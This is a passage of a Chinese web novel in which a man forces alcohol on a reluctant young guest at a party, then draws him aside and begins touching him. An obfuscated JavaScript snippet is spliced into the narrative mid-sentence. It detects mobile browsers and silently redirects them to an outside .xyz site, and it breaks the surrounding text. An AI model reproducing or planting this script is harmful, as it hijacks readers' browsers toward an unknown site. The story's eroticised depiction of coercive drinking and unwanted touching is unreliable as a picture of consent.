江听雨多坐了二十分钟,思考着该如何提出离开时,众人蛋糕吃得差不多开始玩游戏,喊他一块。 “很简单的,逛三园游戏,说错或者停顿自罚一杯。” 大家真的很热情,江听雨还没想到 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|131xs|n|xyz|15427101|168448||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 拒绝的理由就被算入了名单中。 游戏规则听起来确实简单,但他毕竟不是二十一世纪的人,知识储存量有限,好不容易想到一个,却叫前面的人先说了。 几轮下来,江听雨是失误最多的。不过酒和果汁可以自选,想起闻翟说过:“我不希望晚上去接一个醉鬼回家。”他喝的都是果汁。 切换游戏时,他去了一趟卫生间,再回来就发现位置发生了变化,杨崇不知何时调换到了他旁边。 “你会喝酒吗?”杨崇见到他回来,精准无误地从桌面拿起他的杯子,倒了满满一杯酒递过来。 灯光穿透液体,折射出迷人又危险的光芒,恰似致命的毒液。 喝酒肯定是会的,但酒量怎么样就不知道了。江听雨心底对这人还是有些抵触,不敢轻易尝试。 他做推拒动作,想说自己不会,杨崇就先一步先道:“不会没关系,今天可以试试,再过一两年就要毕业步入社会了,男人要是不会喝酒可不行。” 他将江听雨当作了和王明杰他们一样的在读大学生,仗着经验丰富,劝起酒来游刃有余,令人无可反驳,甚至喊了王明杰过来。 “没事,听雨你就喝点吧,都是自己人,真醉了我送你回去。” 毕竟是聊了一段时间的朋友,江听雨对于王明杰有一定信任,最终接过杯子:“那就喝一点点。” 杨崇露出满意的笑:“行。” 杯子里装的是啤酒,味道苦涩,混着一点原本残留的果汁味。江听雨头一回喝到这么难喝的东西,刚抿了一小口就皱起眉头。 杨崇连忙起身,抬着他的手肘,阻止他放下杯子:“再喝一些,那么一小口估计连个味都没尝出来。” 顺着杯体倾斜的酒水来势汹汹,江听雨不得不张开唇瓣,咕咚咕咚地吞咽。 但他实在做不到一口闷,猝不及防被呛到,有三分之一淡黄色的酒水洒出来,沿着他秀气白皙的脖颈流落,打湿身前衣服布料,映出底下浅浅的肉色。 “咳咳……”他捂着嘴巴咳嗽,黑睫如脆弱的蝉翼般颤动,眼眶渐渐湿润泛红,多了几分可怜的意味。 杨崇扶着江听雨坐下,草草给他拍了两下背,很快又倒满一杯送到他嘴边,另一只手抓着他的头发叫他仰起头。 “算给我个面子,再喝点。” 这回流出来的比喝进去的更多,江听雨只觉一阵浓郁的眩晕感陡然涌上他的大脑,两只手都去推给他灌酒的男人,却莫名使不上多少力气。 “唔,别再给我喝了......真的喝不下去了.....”大量红霞漂浮上他的面颊,看起来活色生香。 一旁有人注意到动静,以打趣的口吻提醒:“杨哥你可手下留点情吧,人家看着年纪就很小,别逮着他欺负了。” “谁说我欺负他了,这么漂亮的小朋友我喜欢还来不及呢。”杨崇放下杯子,抽了几张纸巾,搂着江听雨往人少的位置走:“你衣服湿了,我们去那边坐吧,我给你擦擦。” 那个角落本是江听雨最初想坐的地方,现在再看,竟觉得像是布了鲜花的陷阱。 “我不去那边……”江听雨摇了摇头,声音被包厢内震耳发聩的音乐所掩埋。 杨崇不知道有没有听见,收紧了搂着他腰的力道,加快脚下步伐,愈发兴奋。 刚一坐下,男人的手便急不可耐地摸到他大腿,鸡蛋般的触感让他喉咙里发出一声低低的、近乎贪婪的喟叹。 “好滑啊。”